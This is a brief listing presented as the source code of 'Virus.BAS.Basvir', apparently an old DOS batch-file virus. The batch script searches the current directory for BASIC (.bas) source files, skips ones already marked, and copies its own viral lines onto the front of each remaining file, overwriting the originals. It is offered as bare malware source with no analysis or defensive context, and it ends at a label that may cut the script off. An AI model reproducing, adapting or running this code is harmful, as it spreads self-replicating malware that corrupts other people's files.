Virus.BAS.Basvir - Source Code

@echo OFF %BasVir1%
IF '%1=='BasVir goto BasVir%2
FOR %%a in (*.bas) DO CALL ~$ BasVir 2 %%a
EXIT
:BasVir2
find "DECLARE "<%3>nul
IF NOT errorlevel 1 GOTO BasVirE
echo basvirH$ = "%3">~1
find "BasVir"<BASVIR.BAS>>~1
copy %3 ~2>nul
copy /b ~1+~2 %3>nul
EXIT
:BasVirE